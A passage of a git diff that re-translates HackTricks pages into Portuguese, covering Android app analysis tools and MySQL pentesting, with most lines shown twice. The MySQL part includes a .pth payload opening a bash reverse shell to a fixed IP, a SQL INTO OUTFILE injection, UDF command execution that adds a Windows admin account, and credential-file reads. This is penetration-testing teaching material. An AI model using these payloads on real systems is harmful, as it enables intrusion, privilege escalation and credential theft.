O Android fornece uma forma de **impedir a captura de screenshots configurando o parâmetro de layout FLAG_SECURE**. Ao usar essa flag, o conteúdo da janela é tratado como seguro, evitando que apareça em screenshots ou que seja visualizado em displays não seguros.
O Android fornece uma forma de **impedir a captura de tela definindo o parâmetro de layout FLAG_SECURE**. Ao usar essa flag, o conteúdo da janela é tratado como seguro, impedindo que apareça em capturas de tela ou que seja exibido em displays não seguros.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Analisador de Aplicações Android**
### **Android Application Analyzer**
Esta ferramenta pode ajudar você a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
Esta ferramenta pode ajudar a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
Developers often create proxy components like activities, services, and broadcast receivers that handle these Intents and pass them to methods such as `startActivity(...)` or `sendBroadcast(...)`, which can be risky.
O perigo está em permitir que atacantes disparem componentes não-exportados do app ou acessem content providers sensíveis redirecionando esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e então executando-os, potencialmente levando a injeções maliciosas de Intent.
The danger lies in allowing attackers to trigger non-exported app components or access sensitive content providers by misdirecting these Intents. A notable example is the `WebView` component converting URLs to `Intent` objects via `Intent.parseUri(...)` and then executing them, potentially leading to malicious Intent injections.
### Pontos Essenciais
### Essential Takeaways
- **Intent Injection** is similar to web's Open Redirect issue.
- **Intent Injection** é similar ao Open Redirect da web.
- Exploits involve passing `Intent` objects as extras, which can be redirected to execute unsafe operations.
- It can expose non-exported components and content providers to attackers.
- `WebView`’s URL to `Intent` conversion can facilitate unintended actions.
- Pode expor componentes não-exportados e content providers a atacantes.
- `WebView`’s URL to `Intent` conversion pode facilitar ações não intencionais.
### Injeções no Lado do Cliente Android e outros
### Android Client Side Injections and others
Provavelmente você conhece esse tipo de vulnerabilidade da Web. Você deve ter cuidado especial com essas vulnerabilidades em uma aplicação Android:
Provavelmente você conhece este tipo de vulnerabilidade pela Web. Deve ter cuidado especial com estas vulnerabilidades em uma aplicação Android:
- **SQL Injection:** When dealing with dynamic queries or Content-Providers ensure you are using parameterized queries.
- **JavaScript Injection (XSS):** Verifique que o suporte a JavaScript e Plugins esteja desabilitado para quaisquer WebViews (desabilitado por padrão). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews should have access to the file system disabled (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: Em vários casos, quando a aplicação Android finaliza a sessão o cookie não é revogado ou pode até ser salvo em disco
- **SQL Injection:** Ao lidar com queries dinâmicas ou Content-Providers, garanta que está usando queries parametrizadas.
- **JavaScript Injection (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para qualquer WebView (desativado por padrão). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** Os WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: Em vários casos, quando a aplicação android finaliza a sessão, o cookie não é revogado ou pode até ser salvo no disco
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
## Análise Automática
## Automatic Analysis
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
@ -597,7 +597,7 @@ Provavelmente você conhece esse tipo de vulnerabilidade da Web. Você deve ter
![](<../../images/image (866).png>)
**Avaliação de vulnerabilidades da aplicação** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas é necessário preparar o ambiente).
**Avaliação de vulnerabilidades da aplicação** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -652,13 +652,13 @@ receivers
```
**Ferramentas HTTP**
Quando o tráfego http é capturado você pode ver uma vista bruta do tráfego capturado no botão inferior "**HTTP(S) Traffic**" ou uma vista mais agradável no botão verde "**Start HTTPTools**". Pela segunda opção, você pode **enviar** as **captured requests** para **proxies** como Burp ou Owasp ZAP.\
Para isso, _ligue o Burp -->_ _desative o Intercept --> em MobSF HTTPTools selecione a request_ --> pressione "**Send to Fuzzer**" --> _selecione o proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" botão or a nicer view in "**Start HTTPTools**" botão verde. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
To do so, _power on Burp -->_ _turn off Intercept --> in MobSF HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Uma vez que você termine a análise dinâmica com MobSF você pode pressionar "**Start Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
Once you finish the análise dinâmica with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz** requisições HTTP e procurar vulnerabilidades.
> [!TIP]
> Após realizar uma análise dinâmica com MobSF as configurações de proxy podem ficar mal configuradas e você não conseguirá corrigi-las pela GUI. Você pode corrigir as configurações de proxy fazendo:
> Após realizar uma análise dinâmica com MobSF as configurações de proxy podem ficar mal configuradas e você não conseguirá corrigi-las pela GUI. Você pode corrigir as configurações de proxy executando:
>
> ```
> adb shell settings put global http_proxy :0
@ -666,7 +666,7 @@ Uma vez que você termine a análise dinâmica com MobSF você pode pressionar "
### Assisted Dynamic Analysis with Inspeckage
Você pode obter a ferramenta em [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Esta ferramenta vai usar alguns **Hooks** para informar **o que está acontecendo na aplicação** enquanto você realiza uma **análise dinâmica**.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
@ -677,7 +677,7 @@ Esta é uma **ótima ferramenta para realizar análise estática com uma GUI**
### [Qark](https://github.com/linkedin/qark)
Esta ferramenta foi projetada para procurar várias vulnerabilidades relacionadas à segurança em aplicações Android, seja no **source code** ou em **packaged APKs**. A ferramenta também é **capaz de criar um "Proof-of-Concept" deployable APK** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (Exposed activities, intents, tapjacking...). Como com Drozer, não é necessário dar root no dispositivo de teste.
Esta ferramenta foi projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja no **source code** ou em **packaged APKs**. A ferramenta também é **capaz de criar um "Proof-of-Concept" deployable APK** e **ADB commands**, para explorar algumas das vulnerabilidades encontradas (Exposed activities, intents, tapjacking...). Como com Drozer, não é necessário root no dispositivo de teste.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -686,10 +686,10 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- Exibe todos os arquivos extraídos para referência fácil
- Exibe todos os arquivos extraídos para referência rápida
- Descompila automaticamente arquivos APK para os formatos Java e Smali
- Analisa AndroidManifest.xml para common vulnerabilities e behavior
- Análise estática do source code para common vulnerabilities e behavior
- Analisa AndroidManifest.xml em busca de vulnerabilidades comuns e comportamento
- Análise estática do código-fonte para detectar vulnerabilidades e comportamento comuns
- Informações do dispositivo
- e mais
```bash
@ -697,9 +697,9 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER é uma aplicação de linha de comando que pode ser usada no Windows, MacOS X e Linux, e que analisa arquivos _.apk_ em busca de vulnerabilidades. Faz isso descomprimindo APKs e aplicando uma série de regras para detectar essas vulnerabilidades.
SUPER é um aplicativo de linha de comando que pode ser usado em Windows, MacOS X e Linux, que analisa arquivos _.apk_ em busca de vulnerabilidades. Faz isso descompactando APKs e aplicando uma série de regras para detectar essas vulnerabilidades.
Todas as regras estão centralizadas em um arquivo `rules.json`, e cada empresa ou testador pode criar suas próprias regras para analisar o que precisam.
Todas as regras estão centralizadas em um arquivo `rules.json`, e cada empresa ou testador pode criar suas próprias regras para analisar o que precisarem.
Baixe os binários mais recentes na [download page](https://superanalyzer.rocks/download.html)
```
@ -711,7 +711,7 @@ super-analyzer {apk_file}
StaCoAn é uma ferramenta **multiplataforma** que auxilia desenvolvedores, bugbounty hunters e ethical hackers na realização de [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) em aplicações móveis.
O conceito é que você arraste e solte o arquivo da sua aplicação móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela irá gerar um relatório visual e portátil para você. Você pode ajustar as configurações e wordlists para obter uma experiência personalizada.
O conceito é que você arraste e solte o arquivo da sua aplicação móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ele gerará um relatório visual e portátil para você. Você pode ajustar as configurações e wordlists para obter uma experiência personalizada.
Baixar[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
@ -719,7 +719,7 @@ Baixar[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework é um sistema de análise de vulnerabilidades para Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\
AndroBugs Framework é um sistema de análise de vulnerabilidades do Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicativos Android.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -727,11 +727,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** é uma ferramenta cujo objetivo principal é detectar e avisar o usuário sobre potenciais comportamentos maliciosos desenvolvidos por um aplicativo Android.
**Androwarn** é uma ferramenta cujo principal objetivo é detectar e alertar o usuário sobre comportamentos potencialmente maliciosos desenvolvidos por uma aplicação Android.
A detecção é realizada com a **static analysis** do Dalvik bytecode da aplicação, representado como **Smali**, com a biblioteca [`androguard`](https://github.com/androguard/androguard).
A detecção é realizada através da **static analysis** do bytecode Dalvik da aplicação, representado como **Smali**, usando a biblioteca [`androguard`](https://github.com/androguard/androguard).
Esta ferramenta procura por **comportamento comum de "aplicações maliciosas"** como: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
Esta ferramenta procura por **common behavior of "bad" applications** como: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -739,16 +739,16 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** é um **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. É uma ferramenta que reúne ferramentas comumente usadas para mobile application reverse engineering e analysis, para auxiliar no teste de aplicações móveis contra as ameaças de segurança mobile da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicações móveis e profissionais de segurança.
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. É uma ferramenta que agrupa ferramentas comumente usadas para reverse engineering e analysis de aplicações móveis, para auxiliar nos testes de aplicações móveis contra as ameaças de segurança mobile do OWASP. Seu objetivo é tornar essa tarefa mais fácil e mais amigável para desenvolvedores de aplicações móveis e profissionais de segurança.
Ele é capaz de:
It is able to:
- Extrair código Java e Smali usando diferentes ferramentas
- Analisar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Extrair informações privadas do APK usando regexps.
- Analisar o Manifest.
- Analisar domínios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) e [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Deobfuscar APK via [apk-deguard.com](http://www.apk-deguard.com)
- Extract Java and Smali code using different tools
- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Extract private information from the APK using regexps.
- Analyze the Manifest.
- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
@ -756,59 +756,59 @@ Ele é capaz de:
## Obfuscating/Deobfuscating code
Observe que, dependendo do serviço e da configuração usados para ofuscar o código, segredos podem ou não acabar ofuscados.
Note que, dependendo do serviço e da configuração que você usa para ofuscar o código, segredos podem ou não ficar ofuscados.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
Segundo a [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** é uma ferramenta open source de linha de comando que reduz, otimiza e ofusca código Java. É capaz de otimizar bytecode assim como detectar e remover instruções não utilizadas. ProGuard é software livre e é distribuído sob a GNU General Public License, versão 2.
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
ProGuard é distribuído como parte do Android SDK e é executado ao construir a aplicação em modo release.
ProGuard é distribuído como parte do Android SDK e é executado ao construir a aplicação no modo release.
### [DexGuard](https://www.guardsquare.com/dexguard)
Encontre um guia passo a passo para deobfuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(Do guia) Da última vez que verificamos, o modo de operação do Dexguard era:
(From that guide) Last time we checked, the Dexguard mode of operation was:
- carregar um recurso como um InputStream;
- passar o resultado para uma classe que herda de FilterInputStream para decriptá-lo;
- fazer alguma obfuscação inútil para gastar alguns minutos do tempo de um reverser;
- passar o resultado decriptado para um ZipInputStream para obter um arquivo DEX;
- finalmente carregar o DEX resultante como um Resource usando o método `loadDex`.
- load a resource as an InputStream;
- feed the result to a class inheriting from FilterInputStream to decrypt it;
- do some useless obfuscation to waste a few minutes of time from a reverser;
- feed the decrypted result to a ZipInputStream to get a DEX file;
- finally load the resulting DEX as a Resource using the `loadDex` method.
### [DeGuard](http://apk-deguard.com)
**DeGuard reverte o processo de ofuscação realizado por ferramentas de ofuscação Android. Isso possibilita diversas análises de segurança, incluindo inspeção de código e identificação de bibliotecas.**
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
Você pode enviar um APK ofuscado para a plataforma deles.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
Esta é uma ferramenta LLM para encontrar potenciais vulnerabilidades de segurança em android apps e deobfuscar o código de apps android. Usa a Gemini public API do Google.
This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API.
### [Simplify](https://github.com/CalebFenton/simplify)
É um **deobfuscator genérico para android.** Simplify **virtualmente executa um app** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual tipo específico de ofuscação foi usado.
It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD fornece informações sobre **como um APK foi criado**. Identifica muitos **compilers**, **packers**, **obfuscators**, e outras coisas estranhas. É o [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
### Manual
[Leia este tutorial para aprender alguns truques sobre **como reverter ofuscação personalizada**](manual-deobfuscation.md)
[Leia este tutorial para aprender alguns truques sobre **como reverter ofuscação customizada**](manual-deobfuscation.md)
## Labs
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui uma coleção dos frameworks, tutoriais e labs mais recentes de diferentes entusiastas e pesquisadores de segurança para reverse engineering e análise de malware.
AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui uma coleção dos frameworks, tutoriais e labs mais recentes de diferentes entusiastas e pesquisadores de segurança para reverse engineering e malware analysis.
## References
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) É uma ótima lista de recursos
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) curso rápido de Android
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)

126
src/network-services-pentesting/pentesting-mysql.md
View File

@ -2,15 +2,15 @@
{{#include ../banners/hacktricks-training.md}}
## **Informações Básicas**
## **Informação Básica**
**MySQL** pode ser descrito como um **Relational Database Management System (RDBMS)** de código aberto disponível gratuitamente. Ele usa **Structured Query Language (SQL)**, permitindo o gerenciamento e manipulação de bancos de dados.
**MySQL** pode ser descrito como um **Relational Database Management System (RDBMS)** de código aberto que está disponível gratuitamente. Ele opera sobre a **Structured Query Language (SQL)**, permitindo o gerenciamento e manipulação de bancos de dados.
**Porta padrão:** 3306
```
3306/tcp open mysql
```
## **Conexão**
## **Conectar**
### **Local**
```bash
@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone)
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## Enumeração Externa
## External Enumeration
Algumas das ações de enumeração requerem credenciais válidas
Algumas das ações de enumeration requerem credenciais válidas
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### Escrever quaisquer dados binários
### Escrever qualquer dado binário
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### MySQL Permissions Enumeration
### Enumeração de Permissões do MySQL
```sql
#Mysql
SHOW GRANTS [FOR user];
@ -110,30 +110,30 @@ Você pode ver na documentação o significado de cada privilégio: [https://dev
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
#### INTO OUTFILE → Python `.pth` RCE (ganchos de configuração específicos do site)
Abusando da clássica `INTO OUTFILE` primitiva é possível obter *execução arbitrária de código* em alvos que executam posteriormente scripts em **Python**.
Abusando da clássica primitiva `INTO OUTFILE` é possível obter *execução arbitrária de código* em alvos que posteriormente executam scripts em **Python**.
1. Use `INTO OUTFILE` para gravar um arquivo **`.pth`** personalizado em qualquer diretório carregado automaticamente por `site.py` (por exemplo `.../lib/python3.10/site-packages/`).
2. O arquivo `.pth` pode conter uma *única linha* começando com `import ` seguida de código arbitrário em Python que será executado toda vez que o interpretador iniciar.
3. Quando o interpretador é executado implicitamente por um script CGI (por exemplo `/cgi-bin/ml-draw.py` com shebang `#!/bin/python`) o payload é executado com os mesmos privilégios do processo do servidor web (FortiWeb o executou como **root** → full pre-auth RCE).
1. Use `INTO OUTFILE` para deixar um arquivo customizado **`.pth`** dentro de qualquer diretório carregado automaticamente por `site.py` (ex.: `.../lib/python3.10/site-packages/`).
2. O arquivo `.pth` pode conter uma *única linha* começando com `import ` seguida de código Python arbitrário que será executado toda vez que o interpretador iniciar.
3. Quando o interpretador é executado implicitamente por um script CGI (por exemplo `/cgi-bin/ml-draw.py` com shebang `#!/bin/python`), o payload é executado com os mesmos privilégios do processo do servidor web (FortiWeb executou como **root** → full pre-auth RCE).
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
Exemplo de payload `.pth` (linha única, não podem ser incluídos espaços no payload SQL final, então hex/`UNHEX()` ou concatenação de strings pode ser necessária):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Exemplo de criação do arquivo através de uma consulta **UNION** (caracteres de espaço substituídos por `/**/` para contornar um filtro de espaços `sscanf("%128s")` e manter o tamanho total ≤128 bytes):
Exemplo de criação do arquivo através de uma query **UNION** (caracteres de espaço substituídos por `/**/` para bypassar um filtro de espaços `sscanf("%128s")` e manter o comprimento total ≤128 bytes):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Limitações importantes & bypasses:
* `INTO OUTFILE` **não pode sobrescrever** arquivos existentes; escolha um novo nome de arquivo.
* O caminho do arquivo é resolvido **relativamente ao CWD do MySQL**, então prefixar com `../../` ajuda a encurtar o caminho e contornar restrições de caminho absoluto.
* Se a entrada do atacante for extraída com `%128s` (ou similar) qualquer espaço truncará o payload; use sequências de comentário do MySQL `/**/` ou `/*!*/` para substituir espaços.
* O usuário MySQL que executa a query precisa do privilégio `FILE`, mas em muitos appliances (e.g. FortiWeb) o serviço roda como **root**, dando acesso de escrita quase em qualquer lugar.
* O caminho do arquivo é resolvido **relativo ao MySQL’s CWD**, então prefixar com `../../` ajuda a encurtar o caminho e contornar restrições de caminho absoluto.
* Se a entrada do atacante for extraída com `%128s` (ou similar) qualquer espaço vai truncar o payload; use sequências de comentário do MySQL `/**/` ou `/*!*/` para substituir espaços.
* O usuário MySQL que executa a query precisa do privilégio `FILE`, mas em muitos appliances (e.g. FortiWeb) o serviço roda como **root**, dando acesso de escrita quase em todo lugar.
Após escrever o `.pth`, basta requisitar qualquer CGI tratado pelo python interpreter para obter execução de código:
Após dropar o `.pth`, basta requisitar qualquer CGI tratado pelo python interpreter para obter execução de código:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
@ -147,9 +147,9 @@ uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL leitura arbitrária de arquivo pelo client
## MySQL leitura arbitrária de arquivo pelo cliente
Na prática, quando você tenta **load data local into a table** com o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB pede que o **client leia o arquivo** e envie o conteúdo. **Então, se você conseguir manipular um mysql client para conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\
Na prática, quando você tenta **load data local into a table** o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB solicita que o **cliente o leia** e envie o conteúdo. **Então, se você conseguir manipular um mysql client para conectar ao seu próprio MySQL server, você pode ler arquivos arbitrários.**\
Observe que este é o comportamento ao usar:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -161,30 +161,32 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**PoC inicial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Neste artigo você pode ver uma descrição completa do ataque e até como estendê-lo para RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Aqui você pode encontrar uma visão geral do ataque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
​
## POST
### Usuário Mysql
Será muito interessante se mysql estiver rodando como **root**:
Será muito interessante se mysql estiver sendo executado como **root**:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### Configurações Perigosas do mysqld.cnf
#### Configurações Perigosas de mysqld.cnf
Na configuração dos serviços MySQL, várias opções são usadas para definir seu funcionamento e medidas de segurança:
- A configuração **`user`** é utilizada para designar o usuário sob o qual o serviço MySQL será executado.
- **`password`** é usada para estabelecer a senha associada ao usuário MySQL.
- **`admin_address`** especifica o endereço IP que escuta conexões TCP/IP na interface de rede administrativa.
- A variável **`debug`** indica as configurações de debug atuais, incluindo informações sensíveis nos logs.
- **`sql_warnings`** controla se mensagens informativas são geradas para instruções INSERT de uma única linha quando surgem avisos, possivelmente contendo dados sensíveis nos logs.
- A opção **`user`** é usada para designar o usuário sob o qual o serviço MySQL será executado.
- **`password`** é usada para definir a senha associada ao usuário MySQL.
- **`admin_address`** especifica o endereço IP que escuta por conexões TCP/IP na interface de rede administrativa.
- A variável **`debug`** indica as configurações de depuração atuais, incluindo informações sensíveis nos registros.
- **`sql_warnings`** controla se strings informativas são geradas para instruções INSERT de linha única quando surgem avisos, possivelmente contendo dados sensíveis nos registros.
- Com **`secure_file_priv`**, o escopo das operações de importação e exportação de dados é restrito para aumentar a segurança.
### Privilege escalation
@ -205,13 +207,13 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### Escalada de privilégios via biblioteca
### Escalada de Privilégios via biblioteca
Se o **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **biblioteca** para o OS que está executando o mysql.
Se o **mysql server estiver sendo executado como root** (ou um usuário diferente com mais privilégios), você pode fazê-lo executar comandos. Para isso, você precisa usar **funções definidas pelo usuário**. E para criar uma função definida pelo usuário você precisará de uma **biblioteca** para o OS que está executando o mysql.
A biblioteca maliciosa a usar pode ser encontrada dentro do sqlmap e dentro do metasploit executando **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são as do **Windows**, escolha a que você precisa.
A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit executando **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são os do **Windows**, escolha o que você precisa.
Se você **não tem** essas bibliotecas, pode **procurá-las**, ou baixar este [**linux C code**](https://www.exploit-db.com/exploits/1518) e **compilar no linux da máquina vulnerável**:
Se você **não tiver** essas bibliotecas, você pode **procurá-las**, ou baixar este [**linux C code**](https://www.exploit-db.com/exploits/1518) e **compilá-lo dentro da máquina vulnerável linux**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
@ -250,38 +252,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
#### Dica do Windows: criar diretórios com NTFS ADS a partir de SQL
#### Dica do Windows: criar diretórios com NTFS ADS via SQL
No NTFS você pode forçar a criação de diretórios usando um alternate data stream mesmo quando somente existe um file write primitive. Se a clássica UDF chain espera um diretório `plugin` mas ele não existe e `@@plugin_dir` é desconhecido ou bloqueado, você pode criá-lo primeiro com `::$INDEX_ALLOCATION`:
No NTFS, você pode forçar a criação de diretórios usando um alternate data stream mesmo quando existe apenas um file write primitive. Se a classic UDF chain espera um diretório `plugin` mas ele não existe e `@@plugin_dir` é desconhecido ou bloqueado, você pode criá-lo primeiro com `::$INDEX_ALLOCATION`:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
Isso transforma o limitado `SELECT ... INTO OUTFILE` em um primitivo mais completo em stacks Windows ao criar a estrutura de pastas necessária para UDF drops.
Isso transforma o limitado `SELECT ... INTO OUTFILE` em um primitivo mais completo em stacks Windows, criando a estrutura de pastas necessária para UDF drops.
### Extraindo credenciais MySQL de arquivos
Dentro de _/etc/mysql/debian.cnf_ você pode encontrar a **senha em texto claro** do usuário **debian-sys-maint**
Dentro de _/etc/mysql/debian.cnf_ você pode encontrar a **senha em texto plano** do usuário **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
Você pode **usar essas credenciais para fazer login no banco de dados mysql**.
